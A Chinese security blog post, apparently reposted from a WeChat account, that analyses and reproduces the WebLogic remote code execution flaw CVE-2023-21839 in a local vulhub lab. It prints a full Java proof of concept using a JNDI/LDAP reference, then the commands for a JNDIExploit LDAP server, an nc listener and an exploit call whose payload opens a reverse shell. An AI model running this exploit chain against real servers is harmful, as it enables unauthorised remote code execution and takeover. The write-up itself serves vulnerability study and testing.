Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

admin 2023年5月7日22:20:13评论85 views字数 3759阅读12分31秒阅读模式

前言:

公众号的功能栏花某又整理了一下加了个【关于逆向】的栏目目前只有【app逆向】和【js逆向】等内容,后续会持续输出一些花某对于逆向方面的见解如果有师傅需要也可以从逆向基础开始慢慢写帮助大家更好的学习逆向技术。

WebLogic简介:

WebLogic是Oracle公司推出的一款Java应用服务器,具有高度可伸缩性、高可用性和高性能等特点。它支持Java EE规范和Web服务标准,并提供了许多企业级应用程序所需的功能和服务,例如分布式事务管理、安全性、容错机制和集群等。

CVE-2023-21839影响版本:
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0

漏洞分析:

通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象时,服务端调用远程对getReferent方法,其中的remoteJNDIName参数可控,导致攻击者可利用rmi/ldap远程协议进行远程命令执行。

漏洞POC:

import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.lang.reflect.Field;import java.util.Hashtable;public class BindRce {    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";    private static InitialContext getInitialContext(String url)throws NamingException    {        Hashtable<String,String> env = new Hashtable<String,String>();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }    //iiop    public static void main(String args[]) throws Exception {       InitialContext c=getInitialContext("t3://127.0.0.1:7001");        Hashtable<String,String> env = new Hashtable<String,String>();        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");        jndiEnvironment.setAccessible(true);        jndiEnvironment.set(f,env);        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");        remoteJNDIName.setAccessible(true);        remoteJNDIName.set(f,"ldap://xxxxxxxx/xxx");        c.bind("xxxx",f);        c.lookup("xxx");    }}

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)


POC分析:

用了 javax.naming.Context 和 javax.naming.InitialContext 这两个类,以及 java.lang.reflect.Field 和 java.util.Hashtable 两个类库。这些类库主要用于实现 Java 的命名和目录服务以及反射机制。

通过使用 InitialContext 类的 getInitialContext 方法实例化 InitialContext 对象,然后将环境参数设置为 JNDI_FACTORY 和 PROVIDER_URL,最终返回 InitialContext 对象。接着,在 main 方法中,又实例化了一个 InitialContext 对象,并将其连接到本地的 WebLogic 服务器上。

然后,将 Hashtable 对象 env 的 INITIAL_CONTEXT_FACTORY 设置为 "com.sun.jndi.rmi.registry.RegistryContextFactory",并创建了一个 weblogic.deployment.jms.ForeignOpaqueReference 的对象 f。然后使用反射机制,将 ForeignOpaqueReference 对象 f 中的 jndiEnvironment 成员变量的值设置为 env,remoteJNDIName 成员变量的值设置为 "ldap://xxxxxxxx/xxx",最后将 f 对象绑定到 InitialContext 中,Key 为 "xxxx"。最后,调用 lookup 方法查找 Key 为 "xxx" 的对象,POC整体来说也是比较简洁的。

复现过程:

漏洞环境:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839

新版vulhub也是自带的win系统可以直接的到github下载最新版文件,linux更新命令为:

# git pull

花某的是win系统。

1,环境启动:

win系统先得打开Docker-Desktop

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

打开powershell并且切换到vulhub目录:

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

再切换到D:vulhubweblogicCVE-2023-21839>路径运行以下命令(如果是直接下载的CVE-2023-21839的环境文件就切到文件下直接运行:

#  docker-compose build //编译环境
# docker-compose up -d  //运行环境

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

等待环境运行。

# docker-compose ps -a //查看地址端口

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

访问路径打开环境

# http://127.0.0.1:7001/console/login/LoginForm.jspole/login/LoginForm.jsp

不出现可多刷新几次,直接访问http://127.0.0.1:7001/会是404但是不用在意。

2,工具准备:

下载利用工具1:

# https://github.com/4ra1n/CVE-2023-21839

下载完毕后解压文件,进入文件目录运行cmd,没有go环境还要下载一个go的环境,linux下载go环境命令为:

# apt install gccgo-go

win系统直接下载网上的环境包即可,进入目录后运行:

# go build -o CVE-2023-21839 //编译文件

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

下载工具2:

# https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2

相信经常复现java漏洞和接触java安全的师傅们对这个工具肯定也不陌生,下载完直接解压就行。

3,命令执行:

JNDIExploit-1.2-SNAPSHOT.jar的路径下打开cmd随后设置监听

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

后面的ip是攻击机的ip因为我的搭环境的机器和攻击机是同一个所以就索性用127.0.0.1了。

然后在开个cmd窗口设置nc监听,win没有nc的去下载配置个nc环境就ok了这边不多说了。

nc -lvp 8866

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

最后在利用开头的CVE-2023-21839工具攻击就行了,进入CVE-2023-21839的目录,我是win系统然后还配置了Cygwin所以也能在win运行Linux命令如果师傅们没有的直接下载个Cygwin就行了或者直接用kali或者别的Linux系统还方便点。

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

输入

./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/Basic/ReverseShell/127.0.0.1/8866

回车返回cmd查看

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

成功反弹shell,关闭环境。

Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)


原文始发于微信公众号(flower安全混子):Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月7日22:20:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic远程代码执行漏洞[CVE-2023-21839]的分析及复现(flower安全日志)http://cn-sec.com/archives/1715396.html

发表评论

匿名网友 填写信息